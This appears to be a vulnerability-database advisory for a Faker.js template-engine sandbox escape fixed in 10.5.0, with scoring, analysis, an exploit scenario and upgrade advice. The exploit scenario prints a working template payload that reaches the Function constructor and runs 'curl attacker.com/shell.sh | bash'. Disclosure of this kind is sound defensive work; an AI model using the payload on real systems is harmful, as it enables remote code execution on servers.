AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attacker must control template strings passed to faker, implying at minimum low-privileged local code execution or application-level access; AV:N only applies when applications expose faker to user input.

Lifecycle Timeline
4DescriptionCVE.org
Faker generates massive amounts of fake data in the browser and Node.js. Prior to 10.5.0, the faker.helpers.fake method in src/modules/helpers/eval.ts allows attacker-controlled fake templates to access the Function constructor through fakeEval.resolveProperty when a function returns another function, enabling arbitrary JavaScript code execution. This issue is fixed in version 10.5.0.

AnalysisAI
Arbitrary JavaScript code execution in Faker.js prior to 10.5.0 is achievable when attacker-controlled strings reach the faker.helpers.fake template engine. The vulnerability resides in fakeEval.resolveProperty in src/modules/helpers/eval.ts, where direct property access on a function return value (entrypoint?.[key]) allows traversal to the Function constructor via constructor.constructor, a classic sandbox escape. …

Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that attacker-controlled strings reach the `faker.helpers.fake` method (or the underlying `fakeEval` function) as template input. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector (AV:L/AC:L/PR:L/UI:N, score 7.8) positions this as a local, low-complexity attack requiring low privileges. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker identifies a server-side API endpoint (e.g., a mock-data preview or seeding service) that accepts a template string and passes it directly to `faker.helpers.fake`. The attacker submits a crafted template such as `{{custom.evil.constructor.constructor('require("child_process").execSync("curl attacker.com/shell.sh | bash")')()}}`, which the old `resolveProperty` logic resolves by traversing the function's `constructor` chain to reach the built-in `Function` constructor, then executes the injected payload with the privileges of the Node.js process. … |
| Remediation | Upgrade Faker.js to version 10.5.0 or later, which contains the patched `resolveProperty` implementation (commit 54586208f904012f57c50b46cc1ad32bcbe4bfb7). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, audit all Faker.js installations across development, staging, and production environments by examining package.json, yarn.lock, and npm shrinkwrap files to identify versions below 10.5.0, then prioritize affected production systems. …
